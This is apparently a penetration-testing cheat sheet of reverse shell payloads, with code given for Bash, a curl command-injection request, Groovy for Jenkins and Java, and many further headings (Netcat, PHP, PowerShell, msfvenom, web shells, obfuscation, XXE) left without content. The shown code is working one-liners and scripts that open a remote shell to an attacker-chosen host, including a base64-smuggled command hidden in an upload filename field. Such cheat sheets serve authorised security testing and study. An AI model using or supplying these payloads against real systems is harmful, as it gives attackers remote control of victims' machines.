Reverse shells

Reverse Shells

Bash Reverse Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64

curl Reverse Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

Groovy (Jenkins) Reverse Shell

String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

shell.jar

Lua Reverse Shell

Markdown Reverse Shell

mkfifo Reverse Shell

Netcat Reverse Shell

Perl Reverse Shell

PHP Reverse Shell

PowerShell Reverse Shell

minireverse.ps1

Python Reverse Shell

Ruby Reverse Shell

ScareCrow

Payloads

Shellcode Payload Creation with msfvenom

.msi-File Payload Creation with msfvenom

Listener

Obfuscation

DLL Side-Loading

Windows Script Host

Control Panel Files

Renaming Payload

Execution

or

For .cpl-Files a simple double click is enough to execute them.

Shikata Ga Nai

Web Shells

PHP Web Shell

ysoserial

Templates

ASPX Web Shell

Bad YAML

Exploit Skeleton Python Script

JSON POST Request

Python Pickle RCE

Python Redirect for SSRF

Python Web Request

XML External Entity (XXE)

Request

Content of .dtd

Last updated